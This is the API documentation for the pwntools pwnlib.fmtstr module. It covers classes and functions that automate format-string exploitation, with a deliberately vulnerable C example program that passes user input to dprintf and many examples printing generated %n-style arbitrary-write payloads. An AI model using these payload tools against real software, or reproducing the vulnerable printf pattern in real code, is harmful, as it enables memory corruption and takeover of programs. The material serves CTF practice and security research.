`pwnlib.fmtstr` – Format string bug exploitation tools

Provide some tools to exploit format string bug

Let’s use this program as an example:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
       char buff[1024];
       void *ptr = NULL;
       int *my_var = TARGET;
       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
       if(ptr != MEMORY_ADDRESS)
       {
               perror("mmap");
               return EXIT_FAILURE;
       }
       *my_var = 0x41414141;
       write(1, &my_var, sizeof(int *));
       scanf("%s", buff);
       dprintf(2, buff);
       write(1, my_var, sizeof(int));
       return 0;
}
```

We can automate the exploitation of the process like so:

```
>>> program = pwnlib.data.elf.fmtstr.get('i386')
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print(hex(unpack(p.recv(4))))
0x1337babe
```

Example - Payload generation

```
# we want to do 3 writes
writes = {0x08041337:   0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
```

Example - Automated exploitation

```python
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
        log.info("payload = %s" % repr(payload))
        p.sendline(payload)
        return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class **pwnlib.fmtstr.AtomWrite**(*start, size, integer, mask=None*) [source]

This class represents a write action that can be carried out by a single format string specifier.

Each write has an address (start), a size and the integer that should be written.

Additionally writes can have a mask to specify which bits are important. While the write always overwrites all bytes in the range [start, start+size) the mask sometimes allows more efficient execution. For example, assume the current format string counter is at 0xaabb and a write with with integer = 0xaa00 and mask = 0xff00 needs to be executed. In that case, since the lower byte is not covered by the mask, the write can be directly executed with a %hn sequence (so we will write 0xaabb, but that is ok because the mask only requires the upper byte to be correctly written).

__eq__(*other*) [source]

x.__eq__(y) <==> x==y

__hash__() <==> hash(x) [source]

__init__(*start, size, integer, mask=None*) [source]

x.__init__(...) initializes x; see help(type(x)) for signature

`__ne__`(*other*) [source]

x.__ne__(y) <==> x!=y

`__repr__`() *<==> repr(x)* [source]

`compute_padding`(*counter*) [source]

This function computes the least amount of padding necessary to execute this write, given the current format string write counter (how many bytes have been written until now).

Examples

```
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2,
0x2345).compute_padding(0x1111))
'0x1234'
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2,
0xaa00).compute_padding(0xaabb))
'0xff45'
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00,
0xff00).compute_padding(0xaabb)) # with mask
'0x0'
```

`replace`(*start=None*, *size=None*, *integer=None*, *mask=None*) [source]

Return a new write with updated fields (everything that is not None is set to the new value)

`union`(*other*) [source]

Combine adjacent writes into a single write.

Example

```
>>> context.clear(endian = "little")
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1,
0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
```

class **`pwnlib.fmtstr.FmtStr`**(*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*) [source]

Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

Parameters:
- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter's offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

`__init__`(*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*) [source]

x.__init__(...) initializes x; see help(type(x)) for signature

`execute_writes`() → None [source]

Makes payload and send it to the vulnerable process

Returns: None

`write`(*addr*, *data*) → None [source]

In order to tell : I want to write `data` at `addr`.

Parameters:
- **addr** (*int*) – the address where you want to write
- **data** (*int*) – the data that you want to write `addr`

Returns: None

Examples

```
>>> def send_fmt_payload(payload):
...     print(repr(payload))
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
b'%19c%16$hhn%36c%17$hhn%131c%18$hhn%4c%19$hhn\t\x05\x04\x08\x08\x05
```

`__weakref__` [source]

list of weak references to the object (if defined)

`pwnlib.fmtstr.find_min_hamming_in_range`(*maxbytes, lower, upper, target*) [source]

Find the value which differs in the least amount of bytes from the target and is in the given range.

Returns a tuple (count, value, mask) where count is the number of equal bytes and mask selects the equal bytes. So mask & target == value & target and lower <= value <= upper.

Parameters:

- **maxbytes** (*int*) – bytes above maxbytes (counting from the least significant first) don't need to match
- **lower** (*int*) – lower bound for the returned value, inclusive
- **upper** (*int*) – upper bound, inclusive
- **target** (*int*) – the target value that should be approximated

Examples

```
>>> pp = lambda svm: (svm[0], hex(svm[1]), hex(svm[2]))
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0x0, 0x100, 0xaa))
(1, '0xaa', '0xff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x100, 0xaa))
(0, '0xbb', '0x0')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x200, 0xaa))
(1, '0x1aa', '0xff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(2, 0x0, 0x100, 0xaa))
(2, '0xaa', '0xffff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(4, 0x1234, 0x10000,
0x0))
(3, '0x10000', '0xff00ffff')
```

pwnlib.fmtstr.find_min_hamming_in_range_step(*prev, step, carry, strict*) [source]

Compute a single step of the algorithm for find_min_hamming_in_range

Parameters:

- **prev** (*dict*) – results from previous iterations
- **step** (*tuple*) – tuple of bounds and target value, (lower, upper, target)
- **carry** (*int*) – carry means allow for overflow of the previous (less significant) byte
- **strict** (*int*) – strict means allow the previous bytes to be bigger than the upper limit (limited to those bytes) in lower = 0x2000, upper = 0x2100, choosing 0x21 for the upper byte is not strict because then the lower bytes have to actually be smaller than or equal to 00 (0x2111 would not be in range)

Returns: A tuple (score, value, mask) where score equals the number of matching bytes between the returned value and target.

Examples

```
>>> initial = {(0,0): (0,0,0), (0,1): None, (1,0): None, (1,1): None}
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 0xFF,
0x1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1),
0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1),
0, 1)
(0, 0, 0)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 0),
0, 1)
(1, 0, 255)
>>> repr(pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0xFF,
0x00, 0xFF), 1, 0))
'None'
```

pwnlib.fmtstr.fmtstr_payload(*offset, writes, numbwritten=0, write_size='byte'*) → str [source]

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from `context.bits`

The overflows argument is a format-string-length to output-amount tradeoff: Larger values for `overflows` produce shorter format strings that generate more output at runtime.

Parameters:

- **offset** (*int*) – the first formatter's offset you control
- **writes** (*dict*) – dict with addr, value `{addr: value, addr2: value2}`
- **numbwritten** (*int*) – number of byte already written by the printf function
- **write_size** (*str*) – must be `byte`, `short` or `int`. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
- **overflows** (*int*) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string
- **strategy** (*str*) – either 'fast' or 'small' ('small' is default, 'fast' can be used if there are many writes)

Returns: The payload in order to do needed writes

Examples

```
>>> context.clear(arch = 'amd64')
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\

>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\

>>> context.clear(arch = 'i386')
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%5$na\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\

>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"},
write_size='short')
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
```

pwnlib.fmtstr.fmtstr_split(*offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy='small', badbytes=frozenset([])*) [source]

Build a format string like fmtstr_payload but return the string and data separately.

pwnlib.fmtstr.make_atoms(*writes, sz, szmax, numbwritten, overflows, strategy, badbytes*) [source]

Builds an optimized list of atoms for the given format string payload parameters. This function tries to optimize two things:

- use the fewest amount of possible atoms
- sort these atoms such that the amount of padding needed between consecutive elements is small

Together this should produce short format strings.

Parameters:

- **writes** (*dict*) – dict with addr, value `{addr: value, addr2: value2}`
- **sz** (*int*) – basic write size in bytes. Atoms of this size are generated without constraints on their values.

- **szmax** (*int*) – maximum write size in bytes. No atoms with a size larger than this are generated (ignored for strategy ‘fast’)
- **numbwritten** (*int*) – number of byte already written by the printf function
- **overflows** (*int*) – how many extra overflows (of size sz) to tolerate to reduce the length of the format string
- **strategy** (*str*) – either ‘fast’ or ‘small’
- **badbytes** (*str*) – bytes that are not allowed to appear in the payload

pwnlib.fmtstr.make_atoms_simple(*address, data, badbytes=frozenset([])*) [source]

Build format string atoms for writing some data at a given address where some bytes are not allowed to appear in addresses (such as nullbytes).

This function is simple and does not try to minimize the number of atoms. For example, if there are no bad bytes, it simply returns one atom for each byte:

```
>>> pwnlib.fmtstr.make_atoms_simple(0x0, b"abc", set())
[AtomWrite(start=0, size=1, integer=0x61, mask=0xff),
AtomWrite(start=1, size=1, integer=0x62, mask=0xff),
AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]
```

pwnlib.fmtstr.make_payload_dollar(*data_offset, atoms, numbwritten=0, countersize=4*) [source]

Makes a format-string payload using glibc’s dollar syntax to access the arguments.

Returns: A tuple (fmt, data) where `fmt` are the format string instructions and data are the pointers that are accessed by the instructions.

Parameters:

- **data_offset** (*int*) – format string argument offset at which the first pointer is located
- **atoms** (*list*) – list of atoms to execute
- **numbwritten** (*int*) – number of byte already written by the

printf function
- **countersize** (*int*) – size in bytes of the format string counter (usually 4)

Examples

```
>>> pwnlib.fmtstr.make_payload_dollar(1,
[pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0xff)])
(b'%255c%1$hhn', b'\x00\x00\x00\x00')
```

pwnlib.fmtstr.merge_atoms_overlapping(*atoms, sz, szmax, numbwritten, overflows*) [source]

Takes a list of atoms and merges consecutive atoms to reduce the number of atoms. For example if you have two atoms `AtomWrite(0, 1, 1)` and `AtomWrite(1, 1, 1)` they can be merged into a single atom `AtomWrite(0, 2, 0x0101)` to produce a short format string.

Parameters:
- **atoms** (*list*) – list of atoms to merge
- **sz** (*int*) – basic write size in bytes. Atoms of this size are generated without constraints on their values.
- **szmax** (*int*) – maximum write size in bytes. No atoms with a size larger than this are generated.
- **numbwritten** (*int*) – the value at which the counter starts
- **overflows** (*int*) – how many extra overflows (of size sz) to tolerate to reduce the number of atoms

Examples

```
>>> from pwnlib.fmtstr import *
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)],
2, 8, 0, 1)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)],
1, 8, 0, 1) # not merged since it causes an extra overflow of the 1-
byte counter
[AtomWrite(start=0, size=1, integer=0x1, mask=0xff),
AtomWrite(start=1, size=1, integer=0x1, mask=0xff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)],
1, 8, 0, 2)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)],
1, 1, 0, 2) # not merged due to szmax
[AtomWrite(start=0, size=1, integer=0x1, mask=0xff),
AtomWrite(start=1, size=1, integer=0x1, mask=0xff)]
```

`pwnlib.fmtstr.merge_atoms_writesize`(*atoms*, *maxsize*) [source]

Merge consecutive atoms based on size.

This function simply merges adjacent atoms as long as the merged atom's size is not larger than `maxsize`.

Examples

```
>>> from pwnlib.fmtstr import *
>>> merge_atoms_writesize([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1),
AtomWrite(2, 1, 2)], 2)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff),
AtomWrite(start=2, size=1, integer=0x2, mask=0xff)]
```

`pwnlib.fmtstr.normalize_writes`(*writes*) [source]

This function converts user-specified writes to a dict `{ address1: data1, address2: data2, ... }` such that all values are raw bytes and consecutive writes are merged to a single key.

Examples

```
>>> context.clear(endian="little", bits=32)
>>> normalize_writes({0x0: [p32(0xdeadbeef)], 0x4: p32(0xf00dface),
0x10: 0x41414141})
[(0, b'\xef\xbe\xad\xde\xce\xfa\r\xf0'), (16, b'AAAA')]
```

`pwnlib.fmtstr.overlapping_atoms`(*atoms*) [source]

Finds pairs of atoms that write to the same address.

Basic examples:

```
>>> from pwnlib.fmtstr import *
>>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(2, 10,
1)])) # no overlaps
[]
>>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(1, 2,
1)])) # single overlap
[(AtomWrite(start=0, size=2, integer=0x0, mask=0xffff),
AtomWrite(start=1, size=2, integer=0x1, mask=0xffff))]
```

When there are transitive overlaps, only the largest overlap is returned. For example:

```
>>> list(overlapping_atoms([AtomWrite(0, 3, 0), AtomWrite(1, 4,
1), AtomWrite(2, 4, 1)]))
[(AtomWrite(start=0, size=3, integer=0x0, mask=0xffffff),
AtomWrite(start=1, size=4, integer=0x1, mask=0xffffffff)),
(AtomWrite(start=1, size=4, integer=0x1, mask=0xffffffff),
AtomWrite(start=2, size=4, integer=0x1, mask=0xffffffff))]
```

Even though `AtomWrite(0, 3, 0)` and `AtomWrite(2, 4, 1)` overlap as well that overlap is not returned as only the largest overlap is returned.

`pwnlib.fmtstr.sort_atoms`(*atoms, numbwritten*) [source]

This function sorts atoms such that the amount by which the format string counter has to been increased between consecutive atoms is minimized.

The idea is to reduce the amount of data the the format string has to output to write the desired atoms. For example, directly generating a format string for the atoms `[AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)]` is suboptimal: we'd first need to output 0xff bytes to get the counter to 0xff and then output 0x100+1 bytes to get it to 0xfe again. If we sort the writes first we only need to output 0xfe bytes and then 1 byte to get to 0xff.

Parameters:
- **atoms** (*list*) – list of atoms to sort
- **numbwritten** (*int*) – the value at which the counter starts

Examples

```
>>> from pwnlib.fmtstr import *
>>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0) #
the example described above
[AtomWrite(start=1, size=1, integer=0xfe, mask=0xff),
AtomWrite(start=0, size=1, integer=0xff, mask=0xff)]
>>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0xff)
# if we start with 0xff it's different
[AtomWrite(start=0, size=1, integer=0xff, mask=0xff),
AtomWrite(start=1, size=1, integer=0xfe, mask=0xff)]
```